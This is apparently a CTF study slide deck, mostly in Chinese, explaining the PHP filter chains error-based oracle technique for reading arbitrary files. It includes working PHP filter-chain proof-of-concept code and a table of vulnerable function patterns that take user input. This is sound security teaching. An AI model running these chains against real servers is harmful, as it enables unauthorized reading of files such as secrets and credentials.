owned this note
owned this note
Published
Linked with GitHub
---
type: slide
---
### PHP FILTER CHAINS: FILE READ FROM ERROR-BASED ORACLE
<!-- slide: -->
---
### Introduction
* DownUnder CTF 2022
```Dockerfile
FROM php:8.1-apache
RUN mv "$PHP_INI_DIR/php.ini-production" "$PHP_INI_DIR/php.ini"
COPY index.php /var/www/html/index.php
COPY flag /flag
```
```php
<?php file($_POST[0]);
```
---
### File read with error-based oracle
* php://filter
1. Use the `iconv` filter with an encoding increasing the data size exponentially to trigger a memory error.
2. Use the `dechunk` filter to determine the first character of the file, based on the previous error.
3. Use the `iconv` filter again with encodings having different bytes ordering to swap remaining characters with the first one.
---
#### OVERFLOWING THE MAXIMUM FILE SIZE
----
iconv 函數允許設定傳遞給它的字串的編碼,也可以直接從 php://filter 包裝器呼叫

----
那我們重複幾次 iconv 依然可以保留需要的字元,且讓檔案大小變大

----
php.ini 預設的 `memory_limit` 是 128MB,因此我們多重複幾次 iconv 就能讓他觸發 PHP fatal error

----

---
### LEAKING THE FIRST CHARACTER OF THE FILE
----
#### Dechunk filter
這個技巧使用了包裝器dechunk中的方法,該方法在 PHP 文件中沒有詳細說明,但其目的是處理分塊傳輸編碼。後者將資料分割成 2 個以 CRLF 結尾的行的區塊,第一個字元用來定義區塊長度。
```
5\r\n (chunk length)
Chunk\r\n (chunk data)
f\r\n (chunk length)
PHPfiltersrock!\r\n (chunk data)
```
----
因為 dechunk 後的開頭必須是區塊長度(hex 表示),因此若非 `[0-9], [a-f], [A-F]` 字元,dechunk 會 parse 失敗,然後就不解析了

----
因此我們可以利用以上兩個條件,來讓非 16 進制的開頭的內容觸發 Fatal error
```php
<?php
$size_bomb = "";
for ($i = 1; $i <= 13; $i++) {
$size_bomb .= "convert.iconv.UTF8.UCS-4|";
}
$filter = "php://filter/dechunk|$size_bomb/resource=/tmp/test";
echo file_get_contents($filter);
```

---
### Retrieving the leading character value
----
#### Retrieving [a-e] characters
----
ASCII Codec
| | x0 | x1 | x2 | x3 | x4 | x5 | x6 | x7 | [...] | xf |
| ----- | --- | --- | --- | --- | --- | --- | --- | --- | ----- | --- |
| [...] | | | | | | | | | | |
| 6x | \` | a | b | c | d | e | f | g | | o |
| [...] | | | | | | | | | | |
| | | | | | | | | | | |
----
X-IBM-930 Codec
| | x0 | x1 | x2 | x3 | x4 | x5 | x6 | x7 | [...] | xf |
| ----- | --- | --- | --- | --- | --- | --- | --- | --- | ----- | --- |
| [...] | | | | | | | | | | |
| 6x | - | / | a | b | c | d | e | f | g | ? |
| [...] | | | | | | | | | | |
| | | | | | | | | | | |
----
```php
<?php
$guess_char = "";
for ($i=1; $i <= 7; $i++) {
$remove_junk_chars = "convert.quoted-printable-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode|";
$guess_char .= "convert.iconv.UTF8.UNICODE|convert.iconv.UNICODE.CP930|$remove_junk_chars";
$filter = "php://filter/$guess_char/resource=/tmp/test";
echo "IBM-930 conversions : ".$i;
echo ", First char value : ".file_get_contents($filter)[0]."\n";
}
```

----
接下來將 iconv 與 error-based oracle 組合起來
----
```php
<?php
$size_bomb = "";
for ($i = 1; $i <= 13; $i++) {
$size_bomb .= "convert.iconv.UTF8.UCS-4|";
}
$guess_char = "";
$index = 0;
for ($i=1; $i <= 6; $i++) {
$remove_junk_chars = "convert.quoted-printable-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode|";
$guess_char .= "convert.iconv.UTF8.UNICODE|convert.iconv.UNICODE.CP930|$remove_junk_chars";
$filter = "php://filter/$guess_char|dechunk|$size_bomb/resource=/tmp/test";
file_get_contents($filter);
echo "IBM-930 conversions : ".$i.", the first character is "."edcba"[$i-1]."\n";
}
```
----
有了這結果,可以利用來判斷出第一個字元是不是 `a` `b` `c` `d` `e`,搭配 string.rot13 還可以知道 `n` `o` `p` `q` `r`,甚至是推出所有字母

----
#### Retrieving [0-9] characters
但推出數字有另一個比較 tricky 的做法
----
根據 base64 的原理,我們可以知道 0-9 拿去 base64 encode 時,encode 完的開頭一定是 `M` `N` `O`,但是 encode 完的第二個字元,需要根據 0-9 後面接的字元決定,更精確的說,需要根據後面的字元的前 4 bits

----
那我們就可以整理出以下表格
| Character | base64-encoded first character | base64-encoded second character |
| --------- | ------------------------------ | ------------------------------- |
| 0 | M | C, D, E, F, G or H |
| 1 | M | S, T, U, V, W or X |
| 2 | M | i, j, k, l, m or n |
| 3 | M | y, z or a number |
| 4 | N | C, D, E, F, G or H |
| 5 | N | S, T, U, V, W or X |
| 6 | N | i, j, k, l, m or n |
| 7 | N | y, z or a number |
| 8 | O | C, D, E, F, G or H |
| 9 | O | S, T, U, V, W or X |
----
#### Retrieving other letters
----
其他符號可以利用其他編碼來獲得
----
X-IBM-285 Codec
| | x0 | x1 | x2 | [...] | x9 | xa | xb | xc | xd | xe | xf |
| ----- | --- | --- | --- | ----- | --- | --- | --- | --- | --- | --- | --- |
| [...] | | | | | | | | | | | |
| 5x | ' | é | ê | | ß | ! | £ | * | ) | ; | ¬ |
| [...] | | | | | | | | | | | |
| | | | | | | | | | | | |
----
X-IBM-280 Codec
| | x0 | x1 | x2 | [...] | x9 | xa | xb | xc | xd | xe | xf |
| ----- | --- | --- | --- | ----- | --- | --- | --- | --- | --- | --- | --- |
| [...] | | | | | | | | | | | |
| 4x | | | â | | ñ | $ | . | < | ( | + | ! |
| [...] | | | | | | | | | | | |
| | | | | | | | | | | | |
---
### RETRIEVING NON-LEADING CHARACTERS
----
#### Swapping characters
利用 little endian 去做轉換就可以變換開頭的字元

----
而超出 4 bytes 的部分可以利用填充無意義字元來處理

----
```php
<?php
$size_bomb = "";
for ($i = 1; $i <= 20; $i++) {
$size_bomb .= "convert.iconv.UTF8.UCS-4|";
}
$guess_char = "";
$index = 0;
for ($i=1; $i <= 6; $i++) {
$remove_junk_chars = "convert.quoted-printable-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode|";
$guess_char .= "convert.iconv.UTF8.UNICODE|convert.iconv.UNICODE.CP930|$remove_junk_chars";
$swap_bits = "convert.iconv.UTF16.UTF16|convert.iconv.UCS-4LE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UCS-4LE.UCS-4|";
$filter = "php://filter/$swap_bits$guess_char|dechunk|$size_bomb/resource=/tmp/test";
file_get_contents($filter);
echo "IBM-930 conversions : ".$i.", the fifth character is "."edcba"[$i-1]."\n";
}
```
----

---
# AFFECTED FUNCTIONS
只要對文件內容執行操作,函數就可能會受到 php://filter 包裝器的影響。
----
| Function | Pattern |
| --------------------------------------------------- | ------------------------------------------------------------------------- |
| file_get_contents | `file_get_contents($_POST[0]);` |
| readfile | `readfile($_POST[0]);` |
| finfo->file | `$file = new finfo(); $fileinfo = $file->file($_POST[0], FILEINFO_MIME);` |
| getimagesize | `getimagesize($_POST[0]);` |
| md5_file | `md5_file($_POST[0]);` |
| sha1_file | `sha1_file($_POST[0]);` |
| hash_file | `hash_file('md5', $_POST[0]);` |
| file | `file($_POST[0]);` |
| parse_ini_file | `parse_ini_file($_POST[0]);` |
| copy | `copy($_POST[0], '/tmp/test');` |
| file_put_contents (only target read only with this) | `file_put_contents($_POST[0], "");` |
| stream_get_contents | `$file = fopen($_POST[0], "r"); stream_get_contents($file);` |
| fgets | `$file = fopen($_POST[0], "r"); fgets($file);` |
| fread | `$file = fopen($_POST[0], "r"); fread($file, 10000);` |
| fgetc | `$file = fopen($_POST[0], "r"); fgetc($file);` |
| fgetcsv | `$file = fopen($_POST[0], "r"); fgetcsv($file, 1000, ",");` |
| fpassthru | `$file = fopen($_POST[0], "r"); fpassthru($file);` |
| fputs | `$file = fopen($_POST[0], "rw"); fputs($file, 0);` |
----
一旦使用 file_exists 或 is_file 等函數控制輸入字串,漏洞將無法被利用,因為它們都是 stats 內部調用,不支援包裝器。

----
而且 payload 會超大,例如說 746 個字元長的檔案的完全洩漏將需要大約 14k 個請求,最新的有效負載將約為 50KB。

---
## End
[工具連結](https://github.com/synacktiv/php_filter_chains_oracle_exploit)
---
## Reference
[Source](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)
[tools](https://github.com/synacktiv/php_filter_chains_oracle_exploit)